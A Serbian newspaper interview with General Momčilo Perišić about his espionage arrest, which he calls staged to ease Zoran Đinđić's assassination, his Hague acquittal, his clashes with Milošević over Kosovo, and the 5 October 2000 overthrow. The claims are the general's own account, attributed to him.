INTERVJU, PERIŠIĆ: Namestili su mi špijunsku aferu da bi lakše ubili Đinđića

INTERVJU, PERIŠIĆ: Namestili su mi špijunsku aferu da bi lakše ubili Đinđića


Špijunsku aferu na Ibarskoj magistrali konstruisali su sa namerom da eliminišu mene da bi tako lakše stigli do konačnog cilja, eliminacije Zorana Đinđića, koja je usledila tačno godinu dana nakon mog hapšenja u restoranu “Šarić”

General Momčilo Perišić je po mnogo čemu kontroverzna ličnost. Kao ratni heroj iz Hrvatske i Bosne, doživeo je da bude uhapšen za kafanskim stolom na Ibarskoj magistrali pod optužbom da je američki špijun. Slobodan Milošević imao je toliko poverenja u njega da mu je dao vojsku na staranje, pa ga je zatim smenio i od njega napravio političara opozicionara koji će mu doći glave 5. oktobra. Na kraju je završio u Hagu pod optužbama da je pomagao u vršenju ratnih zločina, gde je prvo osuđen na 27 godina zatvora, a zatim pre tri godine oslobođen po svim tačkama.

U ekskluzivnom intervjuu Ekspresu, prvom koji daje posle povratka iz Tribunala, pokušali smo da razjasnimo ko je zapravo general Perišić, čijem se izlasku iz ćelije, utisak je, niko iz državnog vrha nije obradovao. Nije bilo ministara na dočeku, tapšanja po ramenu i velikih reči…

– Doček nisam očekivao, ni želeo, a mogao sam ga bolje nego neki drugi organizovati. Kasnije su dva ministra išla po neke pravosnažno osuđene u Hag, pa su u poslednji čas, kad su shvatili šta su uradili, umesto u Beograd sleteli u Niš (Nikola Selaković i Bratislav Gašić bili u pratnji generala Lazarevića 2015, prim. aut.). Mene, koji sam se čist vratio iz Holandije, skinuo lažne optužbe sa vojske, naroda i države, sačekala su dva pomoćnika ministra i moji najbliži prijatelji, što je za normalnog čoveka dovoljno.

Verovatno zbog nezgodne okolnosti da Vam se ovde još uvek sudi za špijunažu?

– Možda, ali to je njihov problem. Taj postupak je u toku i ja sam tražio da bude otvoren za javnost jer želim da svi čuju koliko su te optužbe smešne i koliko je ceo slučaj konstruisan sa namerom da sklone mene da bi tako lakše došli do konačnog cilja. Ali o tome zasad ne mogu ništa više da kažem dok mi sud ne dozvoli. Upravo pišem knjigu u kojoj se detaljno bavim svim što mi se dešavalo proteklih godina…

Nama je trebao neko ko bi izašao pred velike sile i rekao: “Okej, gospodo, šta su vaši ciljevi i kako mi da pomognemo u njihovom ostvarivanju, uz maksimalno poštovanje naših interesa:” Neko ko bi trgovao na račun drugih, a ne bi dozvolio da drugi trguju na račun nas. To je najveća srpska tragedija

A šta je bio “konačni cilj” onih koji su Vam, kako kažete, namestili aferu?

– Cilj je bio zaustaviti demokratske procese posle 5. oktobra, eliminisati mene iz vlade Srbije i time omogućiti eliminaciju premijera Đinđića iz života, do čega je došlo tačno godinu dana nakon mog hapšenja u restoranu “Šarić”.

Ko je želeo likvidaciju Đinđića i zašto je bilo potrebno da Vas eliminišu pre toga?

– Zato što sam bio jedini u njegovom okruženju sa potrebnim znanjem i iskustvom iz oblasti bezbednosti, a time glavna prepreka za sprečavanje namera protivnika oktobarskih promena. Đinđić je bio pametan, radan, hrabar i sposoban čovek, ali nažalost, okružen nekarakternim ili nedovoljno sposobnim ljudima za funkcije koje su obavljali. Zbog tog i takvog okruženja na kraju je i stradao. Oni nisu bili u stanju da ga prate i sačuvaju od egzekutora.

Niste mi rekli ko je želeo likvidaciju Đinđića, ko je Vama smestio?

– Đinđić je bio savremen i realan, bio je spreman na neminovne promene u skladu sa svetskim kretanjima, uz maksimalnu zaštitu nacionalnih i interesa građana Srbije. Nije štedeo sebe, ali ni druge, smelo je iznosio mišljenja, donosio odluke i realizovao ih. Time se zamerio mnogima u zemlji i inostranstvu, u sprezi tih mračnih sila je i stradao.

U medijima su kasnije isplivale informacije o saradnji pojedinaca iz državnih struktura sa stranim službama, pominjani su diskovi koje je navodno bivši šef BIA Rade Bulatović predao Amerikancima… Gde vidite Vaš slučaj u tom kontekstu?

– Nisam ja bio kolateralna šteta, ciljano sam eliminisan da bi se otvorili putevi za dalju eliminaciju. A to u vezi sa stranim faktorom, to je prisutno već duže vreme. Posle pada Miloševića, zvaničnici stranih zemalja bili su involvirani u rad državnih organa, imali su pristup mnogim informacijama. A ko vlada informacijama, vlada regionom, kontinentom, svetom. Pa to imamo i danas, zar nije jedan britanski političar doskora bio prisutan kao savetnik u kabinetu premijera… Srbija je kao protočni bojler Evrope, na tromeđi gde se susreću različite religije, ideologije, geostrateški interesi. I zato je ovo poprište sukoba svih mogućih službi. Svojevremeno sam nekim Britancima rekao: “Da vi živite na Balkanu, a mi na vašim ostrvima, imali biste iste problem koje mi imamo sad, a mi bismo živeli bezbrižno kao vi.” Složili su se sa tom konstatacijom.

Da sam se ja pitao, sa Legijom se nikad ne bi pregovaralo. Na tome su insistirali neki ljudi iz Đinđićevog okruženja, a ja sam od početka bio protiv formiranja te jedinice jer je ona napravljena od fizički i operativno jakih, ali moralno i karakterno veoma sumnjivih ljudi

Da li se u tom kontekstu mogu tumačiti i dve špijunske afere koje smo imali u Srbiji u poslednjih mesec dana?

– To nije ništa čudno. Razgrađen je jedan sistem bezbednosti, a drugi još uvek nije savremeno formiran i osposobljen. U toj tranziciji pojedinci iz službi, u zavisnosti od svog položaja, ponekad i bezobrazluka, prigrabili su sebi veliku količinu vlasti koja im ni po čemu ne pripada, i postali gospodari života i smrti. Kako drugačije objasniti da još uvek, posle toliko godina, nije razrešeno ubistvo ministra odbrane Pavla Bulatovića, niti visokog službenika MUP-a Radovana Stojičića Badže, koji je ubijen u centru Beograda. A u takvoj situaciji, pored rasula naših službi, normalno je da ostaje mnogo prostora za rad stranih špijuna.

Upravo zbog špijunske afere niko nije zažalio zbog Vašeg odlaska u Hag. Ipak, ostalo je upamćeno da ste bili jedini oficir koji se lično oglasio tim povodom…

– Da ću biti optužen, znao sam još ranije, a onda mi je jednog dana 2006. došao emisar iz vlade Srbije i preneo poruku državnog vrha da bi najbolje bilo da u Hag odem dobrovoljno. Tražio sam da razgovaram sa premijerom (Koštunicom, prim. aut.), rekao mu da ću otići, ali pod određenim uslovima. Tražio sam da ja budem taj koji će dati saopštenje povodom odlaska, a ne kao što je to tada bila praksa, da se vlada hvali i ubira političke poene pričom kako je ona ubedila optužene da dobrovoljno odu u Hag. Takođe, tražio sam dokumenta iz državne i vojne arhive koja će mi poslužiti kao dokazni materijal, naročito otpremnice iz namenske proizvodnje koja je isporučivala oružje za RS i RSK, što je bilo ključno u mojoj optužnici. Još sam insistirao na garancijama da ću, nakon što završim preliminarne stvari u Hagu, biti pušten na slobodu do početka suđenja. Na kraju, tražio sam da se špijunska afera razreši, da se donese presuda, kakva god. Sve mi je obećano, a na kraju je ispunjeno samo to za saopštenje, data garancija i delimično materijal za odbranu, ali u znatno manjem obimu i sa velikim zakašnjenjem u odnosu na materijal koji su isporučili Tužilaštvu u Hagu. Za sve ostalo sam izigran. Takođe, niko od zvaničnika Srbije, civilnih i vojnih, od kojih sam tražio da svedoče nisu pristali da se pojave u Hagu, među njima čak i dva predsednika SRJ. Od kojih jedan moj direktni pretpostavljeni u periodu za koji sam optužen, a drugi koji me je molio da svojim odlaskom u Hag amortizujem pritiske na državu zbog skrivanja Hadžića, Mladića i Karadžića (Milošević i Koštunica, prim. aut.). Pre odlaska tražio sam da mi pokažu moj dosije iz državne i vojne bezbednosti. Iz državne sam dobio, iz vojne nikad. To je bila slika i prilika odnosa države prema ljudima koji su za nju krvarili na bojnom polju i nevini robijali u haškom kazamatu. Ipak, tamo sam otišao svestan da protiv mene nemaju dokaza, da nisam činio zločine, ali želeo sam da dokažem da ni ljudi koji su sa mnom bili u stroju, časni i pošteni oficiri i vojnici, nisu učestvovali u tome. I ponosan sam na to što sam to uspeo sa vrsnim timom branioca pod vođstvom briljantnog Novaka Lukića.

Kako su Vas dočekali u Hagu, kao heroja ili špijuna?

– Niko me nije dočekao kao špijuna. Tamo su bili oficiri koji su, bez obzira na to da li sam sa njima bio u dobrim odnosima ili ne, znali šta sam za srpski narod uradio kao oficir u Hrvatskoj i Bosni, a kasnije i kao komandant Treće armije i načelnik Generalštaba u pripremi za odbranu KiM od albanskih ekstremista i NATO-a. Niko od njih nije verovao u to što mi se pripisuje u aferi.

Kakav je bio susret sa Miloševićem?

– Miloševića je interesovalo kako mogu da mu pomognem oko njegove odbrane, dokazivanja da vojnici Savezne republike Jugoslavije nisu učestvovali u zločinima u Hrvatskoj i Bosni. To što sam mu kao dokaze pripremio, nažalost, nije mogao da upotrebi jer je preminuo, ali kroz moju odbranu dokazao sam da niko iz zvaničnih institucija SRJ i VJ nije involviran u zločine, pa ni Milošević, što je Haški tribunal eksplicitno saopštio u presudi Radovanu Karadžiću.

Kako je izgledao susret sa Pavkovićem, sa kojim ste često razmenjivali teške reči u Srbiji?

– Sa Pavkovićem nisam imao lični sukob, ali imao sukob sam mišljenja oko toga kako se ponašati u nekim kriznim situacijama za vojsku, narod i državu. Nažalost, ispostavilo se da sam bio u pravu, naročito kada je Kosovo i Metohija u pitanju. O tome sa njim u Hagu nisam polemisao, nije više imalo smisla.

U čemu su se ti stavovi razlikovali kada je Kosovo u pitanju?

– Kada je 1998. godine NATO prvi put zapretio da će bombardovati Srbiju, ja sam inicirao sednicu Vrhovnog saveta odbrane i predložio šta da uradimo da do toga ne dođe. Moj predlog bio je da pristanemo na neke stvari koje nisu ugrožavale suverenitet zemlje, neke mešovite komisije za kontrolu vazdušnog prostora, posmatračku misiju EU i nastavak dijaloga sa predstavnicima Albanaca. Milošević se složio i to je usvojeno. U oktobru te godine držao sam u Milanovcu izlaganje političkom i privrednom aktivu, obrazložio poteze državnog vrha kao jedine ispravne u borbi za Kosmet, govorio o tome kako smo mala zemlja, ekonomski iscrpljena, da su pretnje veoma ozbiljne, da je s jedne strane 19 najmoćnijih država sveta, a s druge strane mi sami, bez ijednog saveznika. Želeo sam da uključim javnost u sprečavanje debakla, da sprečim da Srbija ponovo bude zemlja u kojoj majke nose crninu, da se ne ponove Prvi i Drugi svetski rat, kada smo izgubili najbolje izdanke, a demografske posledice toga osećamo i dan-danas. Milošević se, međutim, naprasno predomislio, više nismo mislili isto.

Perisic (6)Pitanje je da li bi i kada srušili Miloševića da nije bio bahat i raspisao vanredne izbore. Mislio je da je stvar oko Kosova dobro rešio i da je narod poverovao u bajku. U SPSu su svi poltronski pozdravili odluku o izborima, jedina mu se suprotstavila Gorica Gajević, zbog čega ju je gađao pepeljarom

Je li to bio Vaš prvi sukob sa Miloševićem?

– Nije. Prvi se desio kada sam tražio da proglasi vanredno stanje jer je policija izgubila kontrolu nad teritorijom, a vojska nije imala pravo da interveniše u dubini teritorije bez uvođenja vanrednog stanja. Pošto mi nije verovao, poslao je Lilića i Šainovića da obiđu teren. Međutim, oni su mu preneli ulepšanu sliku. Odbio je moj predlog, a njegova logika bila je sledeća: ako bismo uveli vanredno stanje, pokazali bismo međunarodnoj zajednici da nismo u stanju da kontrolišemo situaciju. U međuvremenu, neki vojni i državni kadrovi, među kojima i Pavković, koji su iz karijerističkih pobuda zanemarivali realnost, ubeđivali su ga da je Srbija u stanju da se izbori i sa Albancima i sa NATO-om. Poslednji put pre smene videli smo se u Belom dvoru, kada mi se prvi put, umesto sa “Momo”, obratio sa “Momčilo Perišiću”, tražeći od mene da “intelektualno pomognemo policiju”. Ja sam se nasmejao, a on se naljutio. Neki drugi ljudi su mimo mene angažovali vojsku kao podršku policiji tamo gde ona zakonski nije smela da interveniše, što su NATO zemlje iskoristile kao povod. Tada sam Miloševiću napisao pismo u kome sam ga upozorio da ne zloupotrebljava vojsku. Posle toga me više nije zvao, počeo je u vojsci da traži ljude čije se mišljenje kosi sa mojim, i pronašao ih među nekim kadrovima koji su se školovali u Ruskoj federaciji, koji su ga ubeđivali: “Šefe, samo mi da počnemo, a posle će drugi završiti rat”, uzdajući se u pomoć Rusije. A ja sam znao da te pomoći neće biti. Na kraju sam smenjen na sednici Vrhovnog saveta odbrane na kojoj jedino nisam bio prisutan.

Ovo bi neko mogao da protumači da ste se Vi, kao američki kadar, sukobili sa proruskim kadrovima u armiji…

– Naprotiv, ja sam svih tih godina tražio pomoć od Rusa, bezuspešno. Pa moje prvo putovanje po preuzimanju dužnosti 1993. bilo je baš u Moskvu, gde sam se sreo sa ministrom odbrane i generalima. Obećavali su, ali ništa nisu ispunili jer nije bilo političke odluke. Tada sam Rusima rekao da, ako nam ne daju njihovu tehniku, uskoro će imati Bosnu u svom dvorištu. Kad sam sledeći put otišao 1995, primili su me sa daleko većim počastima, a prvo pitanje je bilo: “Kako ste znali da će izbiti rat u Čečeniji?” Koliko je nerealno da očekujemo pomoć od Rusije, videlo se iste godine kada je u Beograd doputovao njihov ministar odbrane i ponudio “bratskom srpskom narodu” ispod cene protivavionske sisteme “šilo”, koji su bili samo neznatno bolji od naše “igle”, koja je mogla da gađa na daljini najviše do pet kilometra. A avioni NATO-a već tada su rakete ispaljivalii sa udaljenosti od nekoliko desetina kilometara. Sve je to bila farsa, pa me je čak i Milošević tada pozvao da mi kaže da sam u pravu i da od Rusa nema pomoći. Ali kasnije je podlegao tim pričama. Rusija je tada bila nemoćna, nije uložila veto da spreči priznanje otcepljenih republika, niti kasnije, kada nas je NATO bombardovao. Situacija se posle promenila, Rusija se pod Putinom oporavila, ali tada je za nas bilo kasno. Kada je posle 5. oktobra Putin došao u Beograd, Đinđić me je poveo na sastanak i dozvolio da mu se obratim. I ja sam ga tada zamolio da nam pomogne jer pitanje je da li će posle moći, s obzirom na to da će sve zemlje u okruženju otići u NATO, što se i desilo. Kada bi Rusi danas i hteli da nam daju naoružanje, bilo bi znatno teže jer je Srbija ostrvo okruženo NATO paktom. Sumnjam da bi Bugari, Rumuni i Mađari dozvolili da preko njihove teritorije pređe neko teško rusko naoružanje, a za jedan ozbiljan raketni sistem trebalo bi na stotine preleta transportnih aviona, ili nekoliko kompozicija vozova, što je nemoguće u ovakvim odnosima NATO-a i Rusije.

Kako vidite ovo što se danas dešava oko Kosova, pregovore u Briselu…?

– Podržavam ovo što radi pregovarački tim oko statusa KiM u Briselu. To što rade za svaku je pohvalu, spasavaju što se spasti može, jer njihovi prethodnici napravili su štetu koja se teško može otkloniti. Od Kumanovskog sporazuma Srbija živi u zabludi da je Kosovo suštinski naše, a ono je predato čim su se sa njega povukli neporaženi ali poniženi VJ i MUP, a narod koji je gurnut u sukob sa albanskim ekstremistima ostao nezaštićen pod navodnom zaštitom NATO-a, koji ga je bombardovao i podržavao te iste teroriste. Taj sporazum jeste svojevrsna kapitulacija dela teritorije.

Kako kapitulaciju, a Rezolucija 1.244?

– Vojno-tehnički deo kumanovskog sporazuma govori o suštini te rezolucije, ona predviđa formalni opstanak KiM u SRJ, a SRJ više ne postoji. Tvorci tog sporazuma napravili su plan, korak po korak, prvo su razbili SRJ, a time je Kosovo ostalo na brisanom prostoru. Milošević je to znao i zato je narodu hteo da zamaže oči kontingentom od 200 ruskih vojnika koje je iz BiH na prevaru doveo na KiM a da to Jeljcin nije znao, i njihovim prisustvom pokušao da pokaže da KiM predaje međunarodnim snagama a ne NATO-u. A u sporazumu postoji odredba po kojoj NATO snage imaju pravo da uđu u SRJ kopnom, morem i vazduhom iz svih pravaca, da se kreću bez posebnog odobrenja i bilo kakve nadoknade za učinjenu štetu. Ako bi neki pripadnik NATO-a ili jedinica napravila krivično delo na tlu SRJ, ne bi odgovarao pred našim nego nacionalnim sudovima.

Govorio sam Miloševiću da ne idemo u rat protiv NATO-a i da ne šaljemo decu u klanicu, ali neki državni i vojni kadrovi, karijeristi, među kojima i Pavković, ubedili su ga da je Srbija u stanju da se pobedi u tom ratu uz pomoć Rusije

U to vreme već ste bili političar, deo DOS-a, zašto niste reagovali?

– U to vreme još nisam bio političar, ali kad sam izašao na političku scenu krajem avgusta 1999. godine, prezentovao sam nekim opozicionim liderima Kumanovski sporazum i tražio da preko svojih poslanika u skupštini pozovu Miloševića na odgovornost, ali oni to nisu hteli, a neki nisu smeli. Onda sam pokrenuo tužbu protiv generala vojske Svetozara Marjanovića i generala policije Obrada Stevanovića što su protivno ustavu i zakonima potpisali akt o kapitulaciji. Dobio sam od suda odgovor da nisam kompetentan da ih tužim, niti su oni kompetentni da im sude. Javnost o sadržini vojno-tehničkog sporazuma nisam smeo da informišem jer je imao stepen tajnosti, a Milošević i njegovi trabanti jedva bi dočekali da me uhapse ako bih to javno saopštio.

Šta najviše zamerate Miloševiću?

– Zameram mu prvo to što političkim i diplomatskim putem nije sprečio eskalaciju problema na Kosovu. A zatim, kada se to desilo, što nije uveo vanredno stanje i poslao vojsku i policiju da u potpunosti razbije teroriste. Da je to urađeno na vreme, lakše bi posle sve prebacili na nivo diplomatije. Zameram mu to što nije obezbedio nijednog saveznika u svetu. Zameram mu to što je parcijalno i neznalački upotrebljavan MUP u borbi protiv terorista. Zar je morala da bude likvidirana cela Jašarijeva porodica da bi se obračunali sa njim? Dok je vojsku upotrebljavao krišom i nezakonito. I na kraju, što je tuđe sinove slao u rat a svog i druge je skrivao. Milošević je najzaslužniji za opstanak Republike Srpske, ali je i najzaslužniji za gubitak Kosova. I dalje stojim iza toga da tadašnji vojni i državni vrh treba da odgovara jer je dozvolio povlačenje vojske sa Kosova i prepustio tamošnje Srbe na milost i nemilost.

Da li je Kosovo moglo da se sačuva u nekoj formi, makar i podeljeno, da je Milošević drugačije odreagovao?

– Obično generali bivaju pametni posle bitke, pa je malo glupo da ja, koji sam u ono vreme sa saradnicima analitički prezentovao Vrhovnom savetu odbrane i Miloševiću šta treba raditi, to sada ponavljam. Ali katastrofalno je da ovaj narod, najbrojniji i državotvorno najstariji na prostoru bivše SFRJ, nije našao način da zaštiti svoje nacionalne interese bez direktnog sukoba sa najrazvijenijim državama sveta, a to je uspelo Slovencima i Hrvatima, i to uz mnogo manje žrtve i materijalna razaranja. To se desilo ne zato što smo inferiorni u odnosu na druge, nego zbog nedoraslosti ljudi na najvišim državnim funkcijama, koji su, umesto o sudbini države i naroda, mislili o tome kako što lakše doći i što duže opstati na vlasti. Nama je trebao neko ko bi izašao pred velike sile i rekao: “Okej, gospodo, šta su vaši ciljevi i kako mi da pomognemo u njihovom ostvarivanju, uz maksimalno poštovanje naših interesa?” Neko ko bi trgovao na račun drugih, a ne bi dozvolio da drugi trguju na račun nas. To je najveća srpska tragedija.

Zameram Miloševiću što je parcijalno i neznalački upotrebljavan MUP u borbi protiv terorista. Zar je morala da bude likvidirana cela Jašarijeva porodica da bi se obračunali sa njim? I što je tuđe sinove slao u rat a svog i druge je skrivao

Kako ste posle svega prelomili da iz uniforme uđete u politiku?

– Pošto mi je Milošević ukinuo pravo da se bavim svojom profesijom, a nisam hteo da ćutim, odlučio sam da idem u politiku kako bih pomogao da se svrgne totalitarni sistem i zaštite mladi ljudi od suludog guranja u rovove i ratove. Takođe, hteo sam da zaštitim sebe od sudbine dvadesetak ljudi na visokim funkcijama koji su u to vreme ubijeni, a i sada se ne zna ko je ubica i po čijem nalogu je to rađeno.

Imali ste saznanja da i Vama preti likvidacija?

– Godine sam proveo u samom državnom vrhu, mnogo sam znao. Samim tim bio sam opasan svedok i protivnik. Takođe, iz bogatog iskustva znao sam kako da obezbedimo kritičnu masu za smenu Miloševića. Uostalom, ja sam inicirao operativni plan za 5. oktobar, predložio Đinđiću kako da okupimo milion ljudi u Beogradu, kako da ih u više kolona dovedemo iz unutrašnjosti. Taj plan predviđao je devet tačaka – institucija koje je trebalo osvojiti. Prva je bila Skupština, druga televizija, a Miloševićev sistem srušio se već posle pada jedne male policijske stanice u Majke Jevrosime. Da nije, nastavili bi dalje, sve do tačke 9, zauzimanja njegove rezidencije u Užičkoj 15. Šešelj, koji je bio dobro upućen, kasnije mi je u Hagu priznao da bez mene to ne bi bilo tako uspešno izvedeno jer sam znao slabosti režima iznutra, imao hrabrosti i znao kako da organizujem i iskoristim kritičnu masu. A bogami i neutrališem štetan uticaja pojedinih lidera DOS-a koji su se plašili Miloševića i više puta dozvolili da se ogromna energija rasprši bez ijednog ostvarenog cilja.

Kasnije će Velja Ilić pokupiti zasluge za to…

– Nije bilo važno ko će pokupiti zasluge, bilo je važno srušiti Miloševića. A istorija će pokazati ko je šta radio.

Jeste li tada imali plan B, neko sakriveno oružje, ako stvari krenu po zlu?

– Ne. Ja sam bio najveći protivnik nasilnog rušenja vlasti. Znao sam da je najbolji način da nas naši inostrani neprijatelji potpuno likvidiraju kao narod, nakon onoga što su nam uradili u Bosni, Hrvatskoj i na Kosovu, da u Beogradu bude krvi do kolena. U kampanji sam stalno ukazivao na tu opasnost, govorio da su uz nas pošteni vojnici i policajci, njih većina, naspram šačice korumpiranih slugu. Vredelo je jer na milionskom mitingu 5. oktobra nije bilo sukoba.

Vi ste pred 5. oktobar bili zaduženi za kontakte sa oficirima u vojsci i policiji, je li DOS imao insajdere u uniformama osim Legije?

– Naravno, ja sam se video sa nekolicinom oficira iz vojske i policije, ali ne bih da otkrivam njihova imena jer su mnogi od njih i dalje na položajima. Sa Svilanovićem sam tog dana otišao u policijsku upravu u ulici 29. novembra, unutra je bilo nekoliko stotina policajaca pod punom ratnom spremom, i svi su aplaudirali kad su nas videli. Tražio sam da razgovaram sa Vlajkom Stoiljkovićem, koji je počeo da galami preko telefona, govorio kako ćemo izazvati sukob. Ali do sukoba nije došlo, a ključnu ulogu u policiji odigrao je Vlastimir Đorđević. Milošević je tog dana poslao Branka Krgu, budućeg načelnika Generalštaba, da izvidi situaciju. I ovaj mu je podneo izveštaj da se ispred Skupštine nalazi više od milion ljudi i da se nikako ne sme protiv njih upotrebiti vojska. Pošto su, međutim, policijski izveštaji govorili o znatno manjoj cifri, Milošević i Stoiljković izdali su naređenje da policija krene na narod, ali Đorđević je odbio poslušnost. Žao mi je što je taj čovek danas u Hagu. Pošto je policija bila rešena, jedina opasnost pretila je od usijanih glava, kriminalaca koji su mogli da iskoriste period bezvlašća i naprave haos. Ali i njih smo uspeli da iskontrolišemo.

Ja sam inicirao operativni plan za 5. oktobar, predložio Đinđiću kako da okupimo milion ljudi u Beogradu. Taj plan predviđao je devet tačaka – institucija koje je trebalo osvojiti. Prva je bila Skupština, druga televizija… a poslednja, deveta, bila je Miloševićeva rezidencija u Užičkoj 15

Ne baš sasvim, pripadnici “zemunskog klana” tada su odneli oružje iz policijske stanice u Majke Jevrosime…

– Neki od čelnika DOS-a šurovali su sa kriminalnim grupama, čak su i upotrebljavali naoružane grupe za realizaciju ličnih ciljeva, ali za to smo tek naknadno saznali.

Jeste li Vi bili umešani u pregovore sa Legijom?

– Ne, da sam se ja pitao, sa Legijom se nikad ne bi pregovaralo. Na tome su insistirali neki ljudi iz Đinđićevog okruženja. Ja sam od početka bio protiv formiranja te jedinice jer je ona napravljena od fizički i operativno jakih ali moralno i karakterno veoma sumnjivih ljudi. Još sam Miloševiću govorio da će takva jedinica, kad ostane bez “zlatnog rudnika”, a za njih je to bio rat, u kome su pljačkali i bogatili se, on doći na tapet. Tako je i bilo. Na kraju ga je uhapsila i u Hag predala jedinica za koju je dao odobrenje da se formira. To sam u nekoliko navrata rekao i Đinđiću, ali on to nije imao vremena da realno sagleda oslanjajući se na ljude zadužene za to, i to mu se, nažalost, osvetilo.

Šta je bilo ključno za pad Miloševića?

– Pitanje je da li bi ga i kada srušili da nije bio bahat i raspisao vanredne izbore. Mislio je da je stvar oko Kosova dobro rešio i da je narod poverovao u bajku da je pokrajina sačuvana, da ju je predao Rusima i međunarodnoj zajednici na čuvanje. U njegovom partijskom okruženju svi su poltronski pozdravili odluku o izborima, jedina mu se tada suprotstavila Gorica Gajević, zbog čega ju je gađao pepeljarom.

Da se vratimo malo u devedesete… Dugo ste u svom kabinetu držali sliku starog mostarskog mosta, koji je srušen kada su se jedinice JNA sa Vama na čelu povukle sa tog terena…

– Hrvatski general Praljak je pred svojim i mojim advokatima negodovao zašto je on a ne ja optužen za rušenje mosta. Na to su mu njegovi advokati odgovorili: “Kamo sreće da si ti pre gađanja ciljeva u Mostaru upozoravao građane preko radija, TV i kriznog štaba, kao general Perišić, ne bi ni bio optužen.” Na što je on postiđen, inače veoma arogantan, sagnuo glavu i zaćutao. Taj ratni period ipak ću najviše pamtiti po izvlačenju ljudstva iz kasarne u Čapljini, gde je njih 370 bilo okruženo sa nekoliko hiljada najgorih HOS-ovaca, ustaša. Izvukli smo ih sve za 45 minuta, bez gubitaka. Interesantno je da su sa naše strane u toj operaciji učestvovali piloti helikoptera, mahom muslimani i Hrvati, u tenkovskoj jedinici takođe. O toj operaciji se malo zna i ja sam tražio da se o tome ne govori jer bih morao da pomenem imena heroja, i Srba i Hrvata i muslimana, a nisam želeo da te ljude, koji su kasnije prešli u svoje nacionalne vojske, dovodim u opasnost. Za tu akciju dobio sam orden za hrabrost koji mi je helikopterom iz Beograda u Mostar doneo Života Panić, u to vreme zamenik načelnika Generalštaba.

U Hrvatskoj ste osuđeni na 20 godina zbog perioda koji ste kao oficir JNA proveli u Zadru. Zanimljivo je da Vam je prilikom povlačenja odstupnicu štitio Ratko Mladić sa Kninskim korpusom…

– Mladić i ja smo tih meseci imali stalnu koordinaciju na terenu. Ja sam najelitnije naoružanje iz Školskog centra u Zadru izvukao u Benkovac i na aerodrom u Zemuniku. Ti raketni sistemi pružali su podršku Kninskom korpusu, zahvaljujući njima smo opstali, izvukli svu tehniku bez ijednog ranjenog. Nijednog trenutka nismo prekršili nijednu konvenciju, tukli smo isključivo vojne ciljeve, tako da je hrvatska optužnica i presuda šuplja priča. Niko u Hagu ni u Hrvatskoj nema nijedan moj presretnut razgovor ni sa Mladićem ni sa jednim od oficira, ali zato su neke moje kolege čuvale transkripte i dokumente u kućnim arhivama, valjda za memoare, šta li, pa su onda ta dokumenta dali našim velikim patriotama na vlasti, koji su ih brže-bolje prosledili Hagu da ojačaju optužnicu protiv mene i nekih drugih oficira. Da nonsens bude veći, ti veliki heroji koji su hteli da se spasu optužnice u Hagu dostavili su dokumentaciju koja je kasnije upotrebljena kao dokazni materijal protiv njih. Takođe, velike patriote na čelnim funkcijama SRJ isporučile su Haškom tribunalu najvišu državnu tajnu – stenograme sa sednica Vrhovnog saveta odbrane, a mom timu odbrane jedva su dozvolili da ima uvid, i to dve godine nakon što su ih isporučili Haškom tužilaštvu.

Na koje patriote mislite?

– To se dešavalo 2005. i 2006, pa vi vidite ko je tada vodio državu (period kada je na čelu srpske vlade bio Vojislav Koštunica, prim. aut.). Ne želim ništa ružno da kažem o ljudima koji se sada nalaze u Hagu, ali mora da se zna kako su zemlju prodavali oni koji se nikad nisu našli u ćeliji Tribunala, već su to radili iz čistog političkog interesa. Svi koji smo otišli u Hag, manje-više, branili smo interese naroda i države, što se ovde, nažalost, malo ceni.

Perisic (9)Moj naslednik u generalštabu (Dragoljub Ojdanić) odležao je dve trećine kazne i kada je stekao uslove da bude pušten na slobodu, on je potpisao krivicu, priznao nešto što Vojska nije uradila i tako doveo u bezizlaznu situaciju svojih pet saboraca, koji su izgubili mogućnost da u žalbenom postupku dobiju manju presudu

Posle Vaše oslobađajuće presude čuli su se razni komentari, da ste na slobodu pušteni kao američki čovek, te da je Tribunal hteo da “poravna račune” nakon puštanja Gotovine i hrvatskih generala…

– Došao sam u situaciju da u Hrvatskoj i Bosni moje oslobađanje pravdaju traljavom optužnicom, a u Srbiji tumače pravljenjem ravnoteže spram oslobađajućih presuda hrvatskim generalima. Treći su govorili da sam oslobođen kao američki čovek. A meni je najvažnije da sam, nakon prvostepene presude na 27 godina robije, u daljem postupku dokazao da vojska SRJ nije učestvovala u ratnim zločinima, da sam skinuo tu anatemu. Jer da sam kojim slučajem ja kao načelnik Generalštaba osuđen, danas bi za Srbiju bila mnogo složenija situacija. U završnoj reči u Hagu rekao sam da moja sudbina nije važna, ali da ako ova presuda uđe u sudske arhive, to će biti presedan sa nesagledivim posledicama za političare i generale SAD i svih NATO zemalja koje su izazvale rat na teritoriji SFRJ, u Iraku, Libiji, Avganistanu itd. Ali bilo je u Tribunalu i drugačijih slučajeva, da su naši oficiri, vodeći računa isključivo o ličnim interesima, ugrozili državu…

Kojih slučajeva?

– Moj naslednik u Generalštabu (general Dragoljub Ojdanić, prim. aut.), recimo, odležao je dve trećine kazne i kada je već stekao uslove da bude pušten na slobodu, on je potpisao krivicu, priznao nešto što Vojska Jugoslavije nije uradila i tako doveo u bezizlaznu situaciju svojih pet saboraca, koji su izgubili mogućnost da u žalbenom postupku dobiju manju presudu. Da ne govorimo o tome što je našem timu koji u Briselu pregovara o statusu Kosova zabio nož u leđa jer je kao načelnik Generalštaba priznao da je činio zločine. Pravi vojnik, da ne govorim o generalima, mora da učini sve da odluke državnog vrha sprovede ako su u interesu građana. Ako sumnja da nisu, on je dužan da se suprotstavi državnom vrhu, ukaže na greške i suoči se sa posledicama. Tako su radili svi naši slavni generali, setite se Mišića i Stepe Stepanovića.

Da li ste bili upoznati sa tim da je Milošević u to vreme tražio od Amerikanaca prijem u NATO?

